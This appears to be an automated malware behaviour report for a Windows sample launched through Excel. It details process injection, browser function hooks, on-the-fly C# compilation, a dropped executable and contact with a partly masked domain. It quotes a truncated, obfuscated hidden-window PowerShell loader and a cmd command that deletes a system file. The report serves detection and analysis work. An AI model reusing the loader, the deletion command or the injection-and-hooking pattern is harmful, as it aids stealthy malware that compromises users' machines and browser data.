Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function a736f6f {param($z8919)$s4a8ae='p46dcf';$hda634b='';for ($i=0; $i -lt $z8919.length;$i+=2){$j7ebf5=[convert]::ToByte($z8919.Substring($i,2),16);$hda634b+=[char]($j...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\applaunch.exe
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\control.exe
the following user processes:
- iexplore.exe
- firefox.exe
Hooks functions
in browsers
- iexplore.exe process, wininet.dll module
- firefox.exe process, nss3.dll module
Terminates or attempts to terminate
the following system processes:
- %WINDIR%\syswow64\autochk.exe
Modifies file system
Creates the following files
- %TEMP%\urvjm3nj.0.cs
- %TEMP%\zpwockvt.0.cs
- %TEMP%\zpwockvt.cmdline
- %TEMP%\zpwockvt.out
- %TEMP%\csc64a7.tmp
- %TEMP%\res64c8.tmp
- %TEMP%\zpwockvt.dll
- %TEMP%\zptt0l3d.cmdline
- %TEMP%\res21f2.tmp
- %TEMP%\zptt0l3d.out
- %TEMP%\csc903c.tmp
- %TEMP%\res904c.tmp
- %TEMP%\zptt0l3d.dll
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{2120c0d3-16f6-40f4-91cc-44fbb848d03a}.tmp
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\metadata\f0accf77cdcbff39f6191887f6d2d357
- %TEMP%\2vilctsp.dll
- %TEMP%\res4be1.tmp
- %TEMP%\csc4bd0.tmp
- %TEMP%\2vilctsp.out
- %TEMP%\2vilctsp.cmdline
- %TEMP%\2vilctsp.0.cs
- %TEMP%\urvjm3nj.dll
- %TEMP%\7srgmxpn.dll
- %TEMP%\res2916.tmp
- %TEMP%\zptt0l3d.0.cs
- %TEMP%\csc2906.tmp
- %TEMP%\csc21d2.tmp
- %TEMP%\7srgmxpn.out
- %TEMP%\7srgmxpn.cmdline
- %TEMP%\7srgmxpn.0.cs
- %TEMP%\urvjm3nj.out
- %TEMP%\urvjm3nj.cmdline
- %WINDIR%\serviceprofiles\networkservice\appdata\locallow\microsoft\cryptneturlcache\content\f0accf77cdcbff39f6191887f6d2d357
- %APPDATA%\w775b.exe
Deletes the following files
- %TEMP%\res2916.tmp
- %TEMP%\res64c8.tmp
- %TEMP%\csc64a7.tmp
- %TEMP%\zpwockvt.0.cs
- %TEMP%\zpwockvt.dll
- %TEMP%\zpwockvt.out
- %TEMP%\2vilctsp.pdb
- %TEMP%\2vilctsp.0.cs
- %TEMP%\zpwockvt.pdb
- %TEMP%\csc903c.tmp
- %TEMP%\zptt0l3d.0.cs
- %TEMP%\zptt0l3d.cmdline
- %TEMP%\zptt0l3d.pdb
- %TEMP%\zptt0l3d.out
- %TEMP%\zpwockvt.cmdline
- %TEMP%\res904c.tmp
- %TEMP%\2vilctsp.cmdline
- %TEMP%\2vilctsp.out
- %TEMP%\2vilctsp.dll
- %TEMP%\res21f2.tmp
- %TEMP%\csc21d2.tmp
- %TEMP%\urvjm3nj.cmdline
- %TEMP%\urvjm3nj.0.cs
- %TEMP%\urvjm3nj.dll
- %TEMP%\urvjm3nj.out
- %TEMP%\csc2906.tmp
- %TEMP%\urvjm3nj.pdb
- %TEMP%\7srgmxpn.cmdline
- %TEMP%\7srgmxpn.dll
- %TEMP%\7srgmxpn.pdb
- %TEMP%\7srgmxpn.out
- %TEMP%\res4be1.tmp
- %TEMP%\csc4bd0.tmp
- %TEMP%\7srgmxpn.0.cs
- %TEMP%\zptt0l3d.dll
- %WINDIR%\microsoft.net\framework\v4.0.30319\applaunch.exe
Network activity
TCP
- 'br####way919.com':443
UDP
- DNS ASK br####way919.com
Miscellaneous
Creates and executes the following
- '%APPDATA%\w775b.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function a736f6f {param($z8919)$s4a8ae='p46dcf';$hda634b='';for ($i=0; $i -lt $z8919.length;$i+=2){$j7ebf5=[convert]::ToByte($z8919.Substring($i,2),16);$hda634b+=[char]($j...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\urvjm3nj.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7srgmxpn.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES21F2.tmp" "%TEMP%\CSC21D2.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2916.tmp" "%TEMP%\CSC2906.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2vilctsp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4BE1.tmp" "%TEMP%\CSC4BD0.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zpwockvt.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES64C8.tmp" "%TEMP%\CSC64A7.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zptt0l3d.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES904C.tmp" "%TEMP%\CSC903C.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\urvjm3nj.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\7srgmxpn.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES21F2.tmp" "%TEMP%\CSC21D2.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES2916.tmp" "%TEMP%\CSC2906.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\2vilctsp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4BE1.tmp" "%TEMP%\CSC4BD0.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zpwockvt.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES64C8.tmp" "%TEMP%\CSC64A7.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\zptt0l3d.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES904C.tmp" "%TEMP%\CSC903C.tmp"
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework\v4.0.30319\applaunch.exe'
- '%WINDIR%\syswow64\control.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
